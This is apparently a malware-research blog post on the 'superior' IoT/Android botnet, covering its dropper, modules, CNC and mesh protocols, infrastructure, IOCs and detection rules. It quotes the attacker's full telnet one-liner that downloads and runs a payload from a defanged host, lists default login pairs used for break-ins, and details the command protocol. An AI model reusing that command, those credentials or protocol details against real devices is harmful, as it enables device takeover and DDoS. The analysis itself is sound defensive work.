> devwr/research

· 8 min read

superior: a build that kept its debug info

The superior IoT/Android bot end to end: telnet dropper, a DWARF build, its modules, the CNC protocol with a decoder, the mesh recorded in a lab, telemetry and IOCs. New findings marked.

superior is a musl C bot for routers, DVRs and Android TV boxes. eFeSpain reported it first and in depth: Superior series, chapters 35–37. This post is everything I found, including what they already covered. Items marked New are not in their reporting or abuse.ch as of 17 November. Static analysis, plus two runs in an isolated lab on 17 November.

Summary

FindingStatus
ARM build with DWARF debug info, ~90 source module namesNew (binary on VirusTotal from 5 Nov; no public analysis found)
bricker.c (bricker_lock, bricker_taunt_download)New, code only; not confirmed reachable
Install telemetry on 195.178.110[.]91:18081New
CNC command set: framing, 8 control opcodes, attack-command layout, 39 vector idsNew; eFeSpain give no command format
Passive decoder, and a network signature on the announcement’s constant bytesNew
C2 domain ilovefemboyssomuch.duckdns[.]org, UDP 5823 benchmark, [BOOT]/[SYSINFO]/[SELF] report formatsNew
Mesh seen running in a lab: on by default in both builds, bots link on TCP 443; wire format, keys, 16 message typesNew; eFeSpain found it switched off and never saw it run
Neither build dialled its CNC in the lab; in the debug build nothing opens the CNC socketNew
SWR1 greeting on 443, .swarm_peers, SCARE/KILL mesh commands, HYDRA on UDP 8346, [BOOK]/[CATALOG] reportseFeSpain ch. 36
X25519 + BLAKE2s + ChaCha20, announcement under a fixed key/nonce/counter and its fields, TCP 14444, plaintext reports on 5821eFeSpain ch. 36
Two /s revisions, 5c9997e2…, c4785aeb…New to abuse.ch and VirusTotal
195.178.110[.]78 as a telnet loader (753 sessions on 11 Nov, active to 17 Nov)eFeSpain saw it doing ADB recon/install
Telnet vector, /s dropper, :8099 beacons, CNC :29444eFeSpain ch. 36
Path tokens, acer label, v7 lockeFeSpain ch. 36
HYDRA mesh, killers, kimwolf method, scareware, ADB/Magisk persistence, hostingeFeSpain ch. 35–36

Delivery

Every session came over telnet with stock IoT logins: admin/admin, root/root, root/GM8182, default/default, root/admin, admin/BrAhMoS@15. Then:

cd /tmp||cd /var/run||cd /dev/shm;busybox wget -q -O .y hxxp://77.239.124[.]167/s||wget -q -O .y hxxp://77.239.124[.]167/s||toybox wget -O .y hxxp://77.239.124[.]167/s||curl -fsSL hxxp://77.239.124[.]167/s -o .y;TAG=acer sh .y 2>/dev/null; echo DROPPED

First binaries on 4–6 November (superior.arm7, superior.arm4 requested). Main wave on 11 November: 216 dropper runs and four dropper revisions in one day.

The /s dropper

A 12–14 KB commented POSIX sh script (“superior — telnet dropper (/s)”). In order:

  1. Beacon hxxp://77.239.124[.]167:8099/b/s/<hostname>.
  2. Pick the arch from uname -m, getprop ro.product.cpu.abi and /proc/cpuinfo, then override it by reading e_machine/EI_DATA from /bin/sh with od, hexdump or xxd (routers that say mips but run little-endian).
  3. New: report hxxp://195.178.110[.]91:18081/s/arch-<arch>.
  4. Find an executable dir by writing and running a probe in $HOME, /var/tmp, /dev/shm, /tmp, /data/local/tmp, /mnt.
  5. Fetch superior.<arch> with any of 17 methods: curl, wget, busybox, toybox, uclient-fetch, fetch, ftp, python, perl, php, ruby, node, tftp, or a hand-written GET over nc, /dev/tcp or socat. Require ELF magic or >100 KB.
  6. Report /s/fetched-<arch>, test CNC TCP 29444 with nc -z, report /s/launch-<arch>-<nc-ok|nc-blocked|nc-absent>-<path>.
  7. Run ~/.superior.<arch> <tag>. SUPERIOR_INSTANCE_GEN=v7 lets a new build retire old ones.

The telemetry steps give the operator a per-arch count of failed installs, presumably.

The bot

Two builds: superior.arm7 672 KB static with DWARF (New), and a 618 KB static-pie. The debug build is armv5te, musl cross-gcc 11.2.1, built under /tmp/m1132/build/. Module names (New) match the help text:

AreaModulesBehaviour
Spreadvec_telnet_scan.c, selfrep.c, ssh.c, adb_persist.c, squat.cTelnet and ADB scanning; Magisk/KernelSU module media_svc, adbd_tcp.sh; squats 5555 so rivals can’t reuse ADB
Controlcncfind.c, hydra.c, swarm.c, swarm_cmd.c, lifeline.c, x25519.c, chacha20.c, blake2s.cEncrypted CNC with static server key (CNC_STATIC_PUB); P2P mesh with peer cache /data/adb/.swarm_peers and ARP sweep; at <ip|all> / atid <node> relay gated by AUTH <key>
Persistenceboxpersist.c, survival.c, watch.c, upgrade.ccron @reboot, /etc/init.d/superior, # superior-persist block, memfd restart, self-upgrade
Rivalskiller.c, competitor_kill.c, kimwolf.c, rootkit_clean.c, ovh_kill.c, defender.cKills other bots; editable block/allow lists (killer bl add)
Coercionscareware.c, bricker.c (New), locker.cAndroid lock screen, framebuffer takeover, TTY scareware, bricker_lock
Floodscf_bypass_flood.c, captcha_bypass_flood.c, cdn_bypass_flood.c, http3_flood.c, h2_cont_flood.c, h2_down_flood.c, tls_full_flood.c, ws_flood.c, dns_amp.c, ssdp_amp.c, tcp_stomp.c, tcp_kill.c, udp_xor.c, minecraft_flood.c, fivem.c, discord.c, game.c36 methods per this build’s help; eFeSpain counts 37
Stealthanti_debug.c, stealth.cptrace checks; not yet reversed

eFeSpain found the Android build uses Kimwolf’s package name and a method called “kimwolf”; kimwolf.c fits.

CNC protocol

Added 17 November, from the debug build. eFeSpain ch. 36 first described the announcement and its fixed key; the command side is New.

Caveat. The debug build contains this code but never uses it: nothing in the binary opens the CNC socket. In the lab neither build looked up the CNC domain or connected to it in about ten minutes. This section is a reading of the code, unchecked against live traffic. These builds are driven over the mesh, below.

Transport. Written for raw TCP to 29444, alternating with 14444 after a failed connect.

Announcement (bot → CNC). One frame, BE16 length | ciphertext, ChaCha20 under a key, nonce and counter fixed in the sample, so anyone can decrypt it. Fields: 00 00 00 0d, arch, version (superior-v21), cores, RAM, label, root flag, cmdline, CPU model, a fresh X25519 public key, an 8-byte device id. New: since everything is fixed, ciphertext bytes 2–5 are always a8 31 f0 21, on any port.

Keys. session = BLAKE2s(X25519(eph_priv, CNC_STATIC_PUB) | eph_pub | CNC_STATIC_PUB), mac = BLAKE2s(key=session, "mac"). Not recoverable from a capture alone.

CNC → bot (New). A 2-byte big-endian header picks the message; each ends with an 8-byte truncated BLAKE2s MAC. Control messages are plaintext, so a capture shows them without any key.

HeaderMessageBody
0000Stop all attacks
ffffSelf-destruct
fffeUpdateURL, optional BLAKE2s-256 of the new binary
fffdFile pullPath
fffcKiller config1 flag byte
fffbMesh peer listUp to 16 IPv4
fffaBandwidth benchmark (UDP 5823)8-byte arg, rounds
fff9Self-report request, or a challenge the bot echoes8-byte challenge
≤ 1ff8Attack command; header = lengthChaCha20 under the session key, counter +1 per command

Attack plaintext is Mirai-like: vector | BE16 seconds | n targets | n × (IPv4, mask) | n options | n × (key, len, value). This build registers 39 vector ids.

Bot → CNC afterwards. Only a plaintext 00 00 keepalive and the challenge echo. Status goes to TCP 5821 as plain lines (New formats): [BOOT]|id=…|up=…, [SYSINFO]|uptime=…|kernel=…, [SELF]|pid=…, [BENCHMARK]…, [ANALYST]|kind=debugger.

The mesh

New. Recorded on 17 November by running each build in two VMs on an isolated network with a fake internet. Every hello and frame captured decrypts and verifies. eFeSpain had the SWR1 greeting, the port and the SCARE/KILL commands from the code; in their builds the mesh was off.

  • Transport. Raw TCP 443, not TLS. Peers come from the ARP table, a bootstrap address (77.239.124[.]167), peer files and peer exchange. Two bots on one LAN only linked once each was in the other’s ARP table.
  • Keys. Derived from the same fixed key as the CNC announcement: mac_key = BLAKE2s(key=fixed, "swarm-mac-v1"). A capture decodes with no other secret.
  • Hello, 35 bytes each way: "SWR1" | 01 | node id[8] | BE16 listen port | IPv4 | MAC[16].
  • Frame: BE16 length | ciphertext | MAC[16]; plaintext type | flag | message id[8] | BE16 len | payload, ChaCha20 with a per-direction counter and nonce.
TypeMessageTypeMessage
1Peer exchange9Log request
2Attack (CNC layout)10Log line
3Stop11Locker
4Kill12Blocklist
5Ping13Operator command
6Pong14Command output
7Scare15Targeted command
8Killer config16System facts

Seen live: hello, peer exchange, ping, pong, system facts. The rest are from the code.

Also in the runs. Thousands of plaintext report connections per bot to TCP 5821 in ten minutes: [ARCH], [SERIAL], [ROOT], [OPT], [WATCHDOG], [SWARM]|ip=…|on=…|links=…|peers=… (New formats), [BOOK] (file inventory), [CATALOG] (executables) and [CNC]|ip=…|port=…|kind=… from a scanner looking for other bots’ services. The only DNS lookup was ip-api[.]com. Self-replication and the killer were disabled with the bot’s own switches.

Infrastructure

HostRoleStatus
77.239.124[.]167/s, /k/<token>/superior.<arch>, beacon :8099, CNC :29444 (fallback :14444), status reports :5821Known
ilovefemboyssomuch.duckdns[.]orgC2 domain in the string tableNew
195.178.110[.]91:18081Install telemetryNew
195.178.110[.]78Telnet loaderKnown host, new role
217.60.102[.]31Telnet loader

77.239.124[.]0/24 also served systemd-baby and a std000 Mirai the same month. Shared hosting, not proof of one operator; eFeSpain covers the block’s history in ch. 36. Path tokens: 8e61cfee78b940a0, a56f1a4933ad0bca, b7942940b561f752.

IOCs

sha256What
5f7494996239fa4768a89f61b6d3cf710b75fb458c099b6c71d7fb7174c09220superior.arm7, debug build
f1cd80c989a6c9fc872978c8f2ecf6ed42788a6144e4936f2e2088e3bd77c03asuperior.arm7, static-pie
f506dc7d3b0e70329979385d841289003d4f51cb108104ac221d2b36997931a5/s, GEN v7
5c9997e23cb38e41d3cb9945ea1f41108275c75c7c1f82004d527038c55b63f7/s (New)
c4785aeb2d863ba0f118300737dc3b8d255b79ec4efee29d990b6f6fba70f161/s (New)
35cc7669054ba9ee656dc0fb852cad31d856e4bc95a5cf88e4bb58f64129e30f/s

Host, from the lab runs (New): /tmp/.bot_lock, /tmp/.hydra_dark, /tmp/.swarm_peers, /tmp/.superior_tmp/.x<N>, crontab @reboot /usr/local/bin/<16 random chars> &, listeners on TCP 443, UDP 8346 and localhost TCP 8345.

Host: .superior.<arch>, .superior_tmp, /etc/init.d/superior, /data/local/tmp/.sys, /data/local/tmp/.adbport, /data/adb/.swarm_peers, /data/adb/modules/media_svc/, /data/adb/service.d/adbd_tcp.sh, /system/etc/init.d/02adbd_tcp; env SUPERIOR_INSTANCE_GEN, SUPERIOR_SUPERVISED, SUPERIOR_NO_MESH, SUPERIOR_NOSQUAT, SUPERIOR_NOCNCFIND; crontab block # superior-persist begin/end.

Detection

YARA (matches all 6 samples, none of ~790 other captures), Suricata rules for the telemetry, beacon, CNC ports, announcement bytes, status lines, C2 domain, mesh hello and fetches, and an offline decoder for captured CNC and mesh streams: github.com/ChrisSewell/superior-botnet (CC BY 4.0).

Hardening: disable telnet and default creds on routers, DVRs and cameras; disable network ADB on TV boxes and isolate them; watch for listeners on 5555 and unknown Magisk modules.

Open: check the CNC decoder against live traffic (needs a build that dials); the mesh’s operator-command messages.

← all posts